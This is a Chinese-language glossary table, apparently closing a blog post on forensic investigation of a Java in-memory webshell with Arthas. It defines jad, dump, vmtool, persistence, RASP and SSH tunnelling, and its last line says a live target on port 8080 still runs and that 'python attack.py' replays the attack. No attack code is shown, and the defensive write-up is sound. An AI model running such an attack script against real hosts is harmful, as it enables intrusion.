| Arthas | 阿里开源 Java 在线诊断工具,本次取证核心工具 |
| jad | Arthas 的反编译命令(字节码 → Java 源码) |
| dump | Arthas 的导出命令(内存类 → 文件) |
| vmtool | Arthas 查看 JVM 对象实例的命令 |
| 持久化 | 攻击者让后门”重启也不消失”的手段(改jar/启动参数/计划任务) |
| RASP | 运行时的应用自我保护(能检测内存马的防护产品类型) |
| SSH 隧道 | 用 SSH 加密连接转发端口流量(攻击者用它隐藏来源/内网穿透) |
本笔记所有命令与输出均来自 2026-08-04 真实演练环境,可直接复现。 复现方式:ECS 上靶机仍在运行(8080 端口),本地执行 python attack.py 即可重打全流程。
发表回复